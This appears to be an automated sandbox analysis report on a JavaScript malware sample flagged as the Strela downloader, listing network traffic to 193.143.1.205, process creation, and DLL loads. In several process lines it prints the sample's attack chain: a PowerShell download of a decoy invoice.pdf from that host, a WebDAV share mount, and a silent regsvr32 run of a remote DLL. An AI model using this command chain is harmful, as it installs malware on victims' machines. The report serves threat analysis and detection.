HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2404814989.0000023033E8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2461120025.0000024F9901D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2463309532.0000024F9903D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2461006712.0000024F98FF0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2457470441.0000024F9903B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2457645799.0000024F9901D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2461120025.0000024F9901D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2457645799.0000024F9901D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/=
Source: net.exe, 00000007.00000002.2461006712.0000024F98FF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space
Source: svchost.exe, 00000009.00000002.3700177268.0000015C3EE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000009.00000003.2459388025.0000015C3F000000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6632, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 10965191911914222758.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7044

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6724:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vc5su4oc.yqh.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10965191911914222758.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1628,i,3187756067259399112,7891253173084942804,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1628,i,3187756067259399112,7891253173084942804,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
